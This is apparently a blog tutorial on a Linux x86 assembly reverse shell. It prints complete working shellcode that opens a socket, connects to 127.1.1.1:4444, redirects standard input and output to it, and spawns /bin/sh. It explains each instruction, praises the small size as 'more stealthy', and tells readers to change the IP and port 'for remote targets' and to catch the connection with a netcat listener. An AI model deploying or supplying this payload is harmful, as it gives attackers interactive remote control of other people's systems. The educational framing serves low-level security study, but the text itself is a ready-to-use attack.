Introduction: Why Build a Reverse Shell in Assembly?
Ever wondered how low-level code can create a powerful remote shell? In this post, we’ll dive into crafting a Linux reverse shell using x86 assembly. This shellcode connects back to an attacker’s system, spawns a shell, and redirects input/output over the network—all in a compact, efficient package. I’ll break down each instruction in my own words, keeping things clear and approachable while staying true to the gritty details. Let’s get started!
Before You Begin
This post assumes you’re familiar with x86 assembly basics. If terms like EAX, syscalls, or little-endian sound foreign, consider brushing up on assembly fundamentals first. The shellcode we’ll analyze comes from this GitHub repository by @cocomelonc, inspired by MD MZ 2nd Edition. I’ll explain it step-by-step, reflecting how I understand it.
What Is a Reverse Shell, and What Do We Need?
A reverse shell is a program that connects from a target machine back to an attacker’s system, spawning a shell (like /bin/sh) that the attacker can control remotely. Here’s what we need to make it happen:
- Socket: A TCP socket for network communication, created using the socket() system call.
- Connection: Connect the socket to the attacker’s IP and port using the connect() system call.
- I/O Redirection: Redirect stdin, stdout, and stderr to the socket using dup2() so the attacker can send commands and see output.
- Shell Execution: Spawn a shell with execve() to give the attacker a command-line interface.
The Shellcode: Complete Code with Comments
Below is the full assembly code for the reverse shell, with added comments for clarity. We’ll break it down section by section afterward.
section .text
global _start
_start:
; Create socket: socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
push 0x66 ; sys_socketcall (102)
pop eax ; EAX = 102 (syscall number)
push 0x1 ; sys_socket (1)
pop ebx ; EBX = 1 (socket function)
xor edx, edx ; EDX = 0 (clear for protocol)
push edx ; protocol = 0 (IPPROTO_IP)
push ebx ; type = 1 (SOCK_STREAM)
push 0x2 ; domain = 2 (AF_INET)
mov ecx, esp ; ECX = pointer to args
int 0x80 ; Execute syscall: create socket
xchg edx, eax ; Save socket file descriptor (sockfd) in EDX
; Connect: connect(sockfd, sockaddr, addrlen)
mov al, 0x66 ; sys_socketcall (102)
push 0x0101017f ; sin_addr = 127.1.1.1 (loopback, network byte order)
push word 0x5c11 ; sin_port = 4444 (network byte order)
inc ebx ; EBX = 2 (AF_INET)
push word bx ; sin_family = AF_INET (2)
mov ecx, esp ; ECX = pointer to sockaddr struct
push 0x10 ; addrlen = 16
push ecx ; sockaddr struct pointer
push edx ; sockfd
mov ecx, esp ; ECX = pointer to args
inc ebx ; EBX = 3 (sys_connect)
int 0x80 ; Execute syscall: connect
; Redirect stdin, stdout, stderr to socket using dup2
push 0x2 ; Counter = 2 (start with stderr)
pop ecx ; ECX = 2
xchg ebx, edx ; EBX = sockfd (for dup2)
dup:
mov al, 0x3f ; sys_dup2 (63)
int 0x80 ; Execute syscall: dup2(sockfd, ECX)
dec ecx ; Decrease counter (2 -> 1 -> 0)
jns dup ; Loop until ECX = -1
; Spawn /bin/sh: execve("/bin/sh", NULL, NULL)
mov al, 0x0b ; sys_execve (11)
inc ecx ; ECX = 0 (argv = NULL)
mov edx, ecx ; EDX = 0 (envp = NULL)
push edx ; Push NULL terminator
push 0x68732f2f ; "//sh" (reverse order)
push 0x6e69622f ; "/bin" (reverse order)
mov ebx, esp ; EBX = pointer to "/bin/sh"
int 0x80 ; Execute syscall: spawn shell
The Shellcode Breakdown
1. Creating the Socket
section .text
global _start ; must be declared for linker
_start: ; linker entry point
; create socket
; int socketcall(int call, unsigned long *args);
push 0x66 ; sys_socketcall (102 in decimal)
pop eax ; zero out eax
push 0x1 ; sys_socket (0x1)
pop ebx ; zero out ebx
xor edx, edx ; zero out edx
Why push
+ pop
Instead of mov
?
- Optimization:
push
/pop
(1 byte each) are smaller thanmov eax, 0x66
(5 bytes). - Smaller shellcode → More stealthy.
Why EAX = 102
?
- In Linux x86,
sys_socketcall
(the master socket function) has ID 102.
Why EBX = 1
?
EBX
defines the sub-function forsocketcall
:1
=SYS_SOCKET
(create a socket).
Why Zero EDX
?
xor edx, edx
clearsEDX
(sets to0
).- Needed for
protocol = IPPROTO_IP (0)
later.
2. Setting Up Socket Arguments
; int socket(int domain, int type, int protocol);
push edx ; protocol = IPPROTO_IP (0x0)
push ebx ; socket_type = SOCK_STREAM (0x1)
push 0x2 ; socket_family = AF_INET (0x2)
mov ecx, esp ; move stack pointer to ecx
int 0x80 ; syscall (exec sys_socket)
xchg edx, eax ; save result (sockfd) for later usage
Breaking Down the Stack Setup
We push three arguments for socket()
:
protocol = 0
(IPPROTO_IP
→ default).type = 1
(SOCK_STREAM
→ TCP).domain = 2
(AF_INET
→ IPv4).
mov ecx, esp
→ECX
points to these args.int 0x80
→ Executessocket()
, returnssockfd
inEAX
.xchg edx, eax
→ Savessockfd
inEDX
for later.
3. Connecting to the Attacker
mov al, 0x66 ; socketcall 102
push 0x0101017f ; sin_addr = 127.1.1.1 (loopback)
push word 0x5c11 ; sin_port = 4444 (0x5c11 in hex)
inc ebx ; ebx = 0x02 (AF_INET)
push word bx ; sin_family = AF_INET
mov ecx, esp ; move stack pointer to sockaddr struct
Building the sockaddr
Struct
- IP:
127.1.1.1
(0x0101017f
in network byte order). - Port:
4444
(0x5c11
). - Family:
AF_INET
(0x02
).
push 0x10 ; addrlen = 16 (size of sockaddr_in)
push ecx ; pointer to sockaddr struct
push edx ; sockfd
mov ecx, esp ; move stack pointer to ecx
inc ebx ; sys_connect (0x3)
int 0x80 ; syscall (exec sys_connect)
What’s Happening?
push 0x10
→addrlen = 16
(size ofsockaddr_in
).push ecx
→ Pointer tosockaddr
struct.push edx
→sockfd
.int 0x80
→ Executesconnect()
, linking to attacker.
4. Redirecting I/O with dup2
push 0x2 ; Start with stderr (2)
pop ecx ; ECX = loop counter
xchg ebx, edx ; EBX = sockfd
dup:
mov al, 0x3f ; sys_dup2 (63)
int 0x80 ; Execute dup2(sockfd, ECX)
dec ecx ; Decrement counter (2 → 1 → 0 → -1)
jns dup ; Loop until negative (SF flag set)
Why Loop from 2 to 0?
- Redirects:
dup2(sockfd, 2)
→ stderr → socket.dup2(sockfd, 1)
→ stdout → socket.dup2(sockfd, 0)
→ stdin → socket.
jns
→ Keeps looping whileECX
is not negative.
5. Spawning /bin/sh
with execve
mov al, 0x0b ; sys_execve (11)
inc ecx ; argv = NULL
mov edx, ecx ; envp = NULL
push edx ; NULL terminator
push 0x68732f2f ; "hs//" (little-endian "//sh")
push 0x6e69622f ; "nib/" (little-endian "/bin")
mov ebx, esp ; EBX points to "/bin//sh"
int 0x80 ; Execute execve()
Breaking Down execve
/bin//sh
is pushed in reverse (little-endian).argv
&envp
areNULL
(no arguments/environment).int 0x80
→ Spawns a shell, handing control to the attacker.
Optimization Techniques Used
- Push/Pop: Smaller than mov (e.g., push 0x66; pop eax vs. mov eax, 0x66).
- XOR for Zeroing: xor edx, edx is 2 bytes and fast.
- AL vs. EAX: Using AL for syscall numbers saves bytes.
- Inc/Dec: inc ebx is shorter than mov ebx, 3.
- Little-Endian Strings: Pushing /bin/sh in reverse leverages x86’s byte order.
Tips for Testing
- Use a Local Listener: Set up nc -lvp 4444 on 127.1.1.1 to catch the connection.
- Modify IP/Port: Change 0x0101017f and 0x5c11 for remote targets (ensure network byte order).
- Debug with GDB: Step through the code to verify each syscall.
- Safety Note: Test in a controlled environment (e.g., a VM) to avoid unintended consequences.
Conclusion: Why This Matters
This reverse shell demonstrates the power of assembly for crafting compact, efficient exploits. By understanding each instruction, you gain insight into system calls, network programming, and low-level optimization. Whether you’re a security researcher or a curious coder, this shellcode is a fascinating blend of art and science. Try tweaking it—change the port, add error handling, or explore 64-bit versions. What’s next on your assembly journey?
Happy hacking (ethically, of course)!